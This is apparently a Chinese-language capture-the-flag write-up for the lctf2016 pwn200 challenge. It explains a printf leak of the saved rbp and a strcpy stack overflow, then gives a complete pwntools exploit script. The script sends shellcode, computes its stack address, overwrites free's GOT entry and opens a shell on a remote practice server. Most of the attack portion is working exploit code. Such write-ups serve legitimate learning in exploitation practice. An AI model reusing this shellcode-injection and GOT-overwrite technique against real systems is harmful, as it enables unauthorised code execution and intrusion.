lctf2016_pwn200
惯例我们先来checksec一下
啥都没开 考虑手写shellcode执行
放进ida64里看看
main函数没啥含金量我们这里就不放了 只是set_buf后call vuln函数
vuln函数中存在我们的第一个泄漏点0x30的长度足够我们写入shellcode 同时当我们把v2填满时 printf会帮我们泄露出rbp中存储的main_rbp的值
当我们此处写入数字是就会正常返回执行sub400_a29
第二个漏洞点在这里
此处的strcpy函数存在栈溢出漏洞
那么我们的思路就很清晰了
先将shellcode写入栈上然后将栈填满进而利用printf函数泄露出我们main_rbp利用main_rbp我们可以通过计算便宜的到我们的shellcode_addr 然后我们利用sub400_a29中的漏洞将shellcode_addr填入buf中然后将dest覆盖为free_got的地址
exp:
from pwn import *
io=remote('node4.buuoj.cn',28550)
#io=process('./pwn200')
elf=ELF('./pwn200')
free_got=elf.got['free']
context.log_level='debug'
context.arch='amd64'
shellcode = asm(shellcraft.sh()).ljust(0x30,'a')
io.sendafter('u?\n',shellcode)
main_rbp= u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
shellcode_addr=main_rbp-0x50
io.recvuntil('id ~~?')
io.sendline('1')
io.recvuntil('money~')
payload=p64(shellcode_addr)+'a'*0x30+p64(free_got)
io.sendline(payload)
io.recvuntil('choice :')
io.sendline('2')
io.interactive()